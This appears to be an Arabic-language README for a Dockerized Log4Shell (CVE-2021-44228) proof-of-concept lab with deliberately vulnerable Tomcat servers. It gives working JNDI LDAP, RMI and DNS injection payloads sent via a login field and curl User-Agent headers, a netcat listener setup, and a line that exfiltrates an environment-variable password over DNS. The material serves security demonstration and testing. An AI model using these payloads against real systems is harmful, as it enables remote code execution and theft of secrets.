log4j-poc

استغلال RCE عبر LDAP لثغرة CVE-2021-44228 المسماة Log4Shell

الوصف

خادم Tomcat 8 التجريبي على المنفذ 8080 يحتوي على تطبيق ضعيف (log4shell) منشورًا عليه، والخادم عرضة أيضًا للهجمات عبر وكيل المستخدم (user-agent).

تطبيق الاستغلال عن بُعد في هذا العرض التجريبي مبني على التطبيق الموجود في https://github.com/kozmer/log4j-shell-poc

خادم Tomcat التجريبي هذا (Tomcat 8.5.3, Java 1.8.0u51) تمت إعادة تهيئته لاستخدام Log4J2 للتسجيل - وهو إعداد غير قياسي.

يتوفر الآن خادم Bitnami أحدث على المنفذ 8888. وهو أيضًا مهيأ لتسجيل Log4J2 ويعمل بـ Tomcat 9.0.55 و OpenJDK 11.0.13.

استغلال RMI ضد خادم Tomcat 9 / Java 11 موصوف هنا: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 يناير 2019) بقلم Michael Stepankin

سيتحقق سكربت الكشف من ثغرات وكيل المستخدم (user-agent) وهو مأخوذ من هنا: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

المتطلبات الأساسية

هذا الكود يتطلب Docker و Docker Compose

التثبيت

git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
#   POC_ADDR is the address of the cve-poc container
#   LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build

تشغيل عرض هجوم تطبيق الويب

1. قم بإعداد مستمع docker الخاص بك في الطرفية الأولى
   1. nc -lv 10.10.10.31 9001
2. ابدأ حاويات docker في طرفية ثانية
   1. docker-compose up
3. انتقل إلى تطبيق الويب على المنفذ 8080
   1. انتقل إلى http://10.10.10.31:8080/log4shell
      1. أدخل اسم المستخدم: admin
      2. أدخل كلمة المرور: password
      3. اضغط على زر "login"
      4. شاهد شاشة الترحيب
   2. عد إلى صفحة تسجيل الدخول على http://10.10.10.31:8080/log4shell
      1. أدخل اسم المستخدم ${jndi:ldap://172.16.238.11:1389/a}
      2. اضغط على زر "login"
      3. تحقق من وجود اتصال على مستمع nc الخاص بك

تشغيل عرض هجوم وكيل المستخدم

1. قم بإعداد مستمع docker الخاص بك في الطرفية الأولى
   1. nc -lv 10.10.10.31 9001
2. ابدأ حاويات docker في طرفية ثانية
   1. docker-compose up
3. في طرفية ثالثة، شغّل الأمر التالي. عنوان IP الثاني هو مضيف docker
   1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

تشغيل عرض تسريب DNS على إصدار Java 11 الحديث

1. ابدأ حاويات docker في طرفية
   1. docker-compose up
2. في طرفية ثانية، شغّل الأمر التالي. عنوان IP هو عنوان IP الخاص بمضيف docker
   1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
3. سيحاول خادم الويب الضعيف إجراء بحث TXT على عنوان IP المحدد. انظر إلى log4j-dns_exfil.pcap

تشغيل عرض RCE عبر RMI على إصدار Java 11 الحديث

أواجه مشكلات مع معامل سطر الأوامر الخاص بهدف ping. لذلك عليك أن تُجمّع بنفسك.

التجميع

1. ابدأ حاويات docker في طرفية
   1. docker-compose up
2. في طرفية أخرى، سجّل الدخول إلى cve-poc
   1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
3. قم بإنهاء مثيل RMIServerPOC الجاري
4. انتقل إلى دليل rmi-poc
   1. cd /home/user/rmi-poc
5. عدّل RMIServerPOC.java لتغيير 10.10.10.31 إلى هدف ping الخاص بك
6. أعد التجميع
   1. javac -cp catalina.jar:. RMIServerPOC.java
7. شغّل الخادم
   1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

تشغيل عرض RCE عبر RMI

1. ابدأ حاويات docker في طرفية
   1. docker-compose up
2. في طرفية ثانية، شغّل الأمر التالي. عنوان IP هو عنوان IP الخاص بمضيف docker
   1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
3. سيقوم خادم الويب الضعيف بتنزيل فئة خبيثة متسلسلة من خادم RMI لفئة موجودة بالفعل في بيئة Tomcat.
4. سيؤدي هذا إلى إرسال ping إلى عنوان IP المحدد في قسم التجميع.

اكتشاف ثغرة وكيل المستخدم (UA)

1. cd scripts
2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
3. سيتعين عليك إنهاء العملية، لست متأكدًا بعد من سبب تعليقها